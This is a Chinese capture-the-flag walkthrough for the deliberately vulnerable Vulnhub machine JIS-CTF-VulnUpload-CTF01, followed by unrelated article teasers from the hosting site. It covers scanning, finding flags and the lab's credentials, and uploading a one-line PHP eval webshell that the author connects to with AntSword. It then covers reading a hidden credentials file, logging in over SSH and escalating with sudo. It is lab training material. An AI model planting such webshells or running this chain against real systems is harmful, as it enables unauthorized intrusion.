Vulnhub系列靶机---JIS-CTF-VulnUpload-CTF01靶机

文章目录

      • 1、网卡配置
      • 2、信息收集
        • 主机发现
        • 端口扫描
        • 目录扫描
      • 3、漏洞探测
      • 4、漏洞利用
        • 一句话木马
        • 蚁剑 GetShell
        • SSH连接
        • 提权

JIS文档说明

JIS-CTF-VulnUpload-CTF01靶机下载地址

该靶机有5个flag

1、网卡配置

开启靶机,看见加载的进度条按shift,看到如下界面:

image-20230828203117026

然后按e键,修改 如下

rw signie init=/bin/bash    # rw读写 signie单用户 命令权限/bin/bash

image-20230828202442490

改完之后Ctrl+x进入单用户模式

先查看我们靶机的网卡名称ip a

image-20230828203322016

然后来到靶机vim /etc/network/interfaces下,进行网卡配置,

网卡默认配置如下

image-20230828202823803

进行网卡配置修改如下:

image-20230828203415086

然后重启网卡

/etc/init.d/networking restart

重启靶机

2、信息收集

靶机MAC:00:0C:29:09:00:9D

主机发现

sudo arp-scan -l

image-20230828203726965

端口扫描

sudo nmap -A -p- 192.168.80.140

image-20230828204026500

目录扫描

sudo dirsearch -u 192.168.80.140  

image-20230828204421711

dirb http://192.168.80.140

image-20230828204802515

3、漏洞探测

访问flag http://192.168.80.140/flag/
找到第一个flag

image-20230828204943711

访问robots.txt

http://192.168.80.140/robots.txt

image-20230828205038544

访问login.php

http://192.168.80.140/login.php

image-20230828205224719

发现没有什么发现,继续 看看其他目录

访问admin_area,打开F12 ,发现第二个flag

image-20230828205325814

​ username : admin
​ password : 3v1l_H@ck3r
​ The 2nd flag is : {7412574125871236547895214}

前往登录页面进行登录

image-20230828205519547

发现是一个文件上传的界面,我们可以上传一句话木马尝试得到 shell

4、漏洞利用

一句话木马

编辑一句话木马1.php

<?php  @eval($_REQUEST[6868])?>

在刚才的robots.txt文件里,又跟上传相关的

image-20230828205900277

访问http://192.168.80.140/uploads报错

访问http://192.168.80.140/uploaded_files/页面没反应,但是也没有报错,

继续访问http://192.168.80.140/uploaded_files/1.php,页面也没有报错

蚁剑 GetShell

URL地址:http://192.168.80.140/uploaded_files/1.php

连接密码:6868

image-20230828210153091

查找跟flag有关的文件

find / -name 'flag*' 2>/dev/null

image-20230828211756499

发现没有权限访问/var/www/html/flag.txt

/var/www/html/hint.txt里发现第三个 flag

image-20230828210507525

image-20230828210528853

尝试使用technawi密码来读取flag.txt文件,你可以在一个隐藏文件找到它

使用find命令查找

find / -user 'technawi' 2>/dev/null

image-20230828211332299

cat /etc/mysql/conf.d/credentials.txt

image-20230828211342164

得到technawi用户的密码

username : technawi
password : 3vilH@ksor

SSH连接

使用ssh连接ssh technawi@192.168.80.140,查看该用户能以root身份执行哪些文件,发现有所有的权限

image-20230828211958588

然后去看看/var/www/html/flag.txt,得到第五个flag

image-20230828212058326

提权

sudo su

image-20230828212336617

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/91349.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Win7系统电脑开机总出现硬盘自检的简单解决方法

你是不是经常会遇到电脑开机进行硬盘自检&#xff0c;而且每次开机都检查很久不能跳过&#xff1b;怎么才能跳过这一步骤呢&#xff1f;下面教大家如何让Win7系统电脑在开机的时候跳过硬盘自检这一步骤&#xff0c;加快开机时间。 解决步骤&#xff1a; 1、按下“Win R”快捷键…

「MySQL-01」MySQL基础

目录 一、数据库概念 1. 什么是数据库 2. 为什么要有数据库&#xff1f; 3. 数据库将数据存在哪里&#xff1f; 二、知名数据库介绍 1.知名数据库介绍 2.为什么要学习MySQL 三、MySQL的基本使用 0. 安装MySQL 1. 数据库客户端链接服务端 2. Windows下的MySQL服务端管理 3. 数据…

Java——一个使用Java Swing实现的考试系统的窗体类

这是一个使用Java Swing实现的考试系统的窗体类。主要包括菜单栏、题目内容、选项、按钮等组件&#xff0c;并且实现了开始考试、上一题、下一题和提交按钮的功能。 在窗体的构造方法中&#xff0c;设置了窗体的标题、大小和位置&#xff0c;并调用了init方法和setVisible方法…

光伏电站、变电站、等直流系统电参量测量仪器怎么选型

安科瑞虞佳豪 壹捌柒陆壹伍玖玖零玖叁 应用场景 工作拓扑图 功能 ①对电能参数进行采样计量和监测&#xff0c;逆变器或者能量管理系统&#xff08;EMS&#xff09;与之进行通讯&#xff0c;根据实时功率及累计电能实现防逆流、调节发电量、电池充放电等功能&#xff1b; ②…

一道经典面试题:@Configuration 和 @Component 有何区别?

文章目录 1. 情景展现2. 源码分析2.1 postProcessBeanDefinitionRegistry2.2 postProcessBeanFactory 关于 Configuration 注解有一个特别经典的面试题&#xff1a; Configuration 和 Component 有什么区别&#xff1f; 无论小伙伴们之前是否背过相关的面试题&#xff0c;今天…

比较opencv,pillow,matplotlib,skimage读取图像的速度比较

上面这些库都被广泛用于图像处理和计算机视觉任务&#xff1b; 不同的图像读取库&#xff08;OpenCV&#xff0c;Pillow&#xff0c;matplotlib和skimage&#xff09;的读取速度&#xff0c;是怎么样的一个情况&#xff1f; 下面分别从读取速度&#xff0c;以及转换到RGB通道…

【材料整理】-- Python、Matlab中常用调试代码,持续更新!

文章目录 Python、Matlab中常用调试代码&#xff0c;持续更新&#xff01;一、Python常用调试代码&#xff1a;二、Matlab常用调试代码&#xff1a; Python、Matlab中常用调试代码&#xff0c;持续更新&#xff01; 一、Python常用调试代码&#xff1a; 1、保存.mat文件 from…

41、springboot 整合 FreeMarker 模版技术

springboot 整合 FreeMarker 模版技术 ★ 整合FreeMarker的自动配置&#xff1a; FreeMarkerAutoConfiguration&#xff1a;负责整合Spring容器和获取FreeMarkerProperties加载的配置信息。FreeMarkerServletWebConfiguration/FreeMarkerReactiveWebConfiguration&#xff1a…

c# - - - 安装.net core sdk

如图&#xff0c;安装的是.Net Core 2.2版本 查看安装成功

【计算机网络】HTTPs 传输流程

HTTPS和HTTP的区别 1、HTTP协议传输的数据都是未加密的&#xff0c;是明文的&#xff0c;使用HTTP协议传输隐私信息非常不安 HTTPS协议是由SSLHTTP协议构建的可进行加密传输、身份认证的网络协议&#xff0c;要比http协议安全。 2、HTTPS协议需要到CA申请证书&#xff0c;一般…

NS2安装及入门实例——(ns2.35 / Ubuntu20.04)

文章目录 一、ns2安装1、更新系统源2、准备工作3、下载安装包4、安装5、问题① 问题1② 问题2③ 问题3 6、安装成功7、环境配置 二、nam安装1、安装2、问题 三、实例 一、ns2安装 1、更新系统源 sudo apt-get update sudo apt-get upgrade2、准备工作 sudo apt-get install …

Python Flask Web开发二:数据库创建和使用

前言 数据库在 Web 开发中起着至关重要的作用。它不仅提供了数据的持久化存储和管理功能&#xff0c;还支持数据的关联和连接&#xff0c;保证数据的一致性和安全性。通过合理地设计和使用数据库&#xff0c;开发人员可以构建强大、可靠的 Web 应用程序&#xff0c;满足用户的…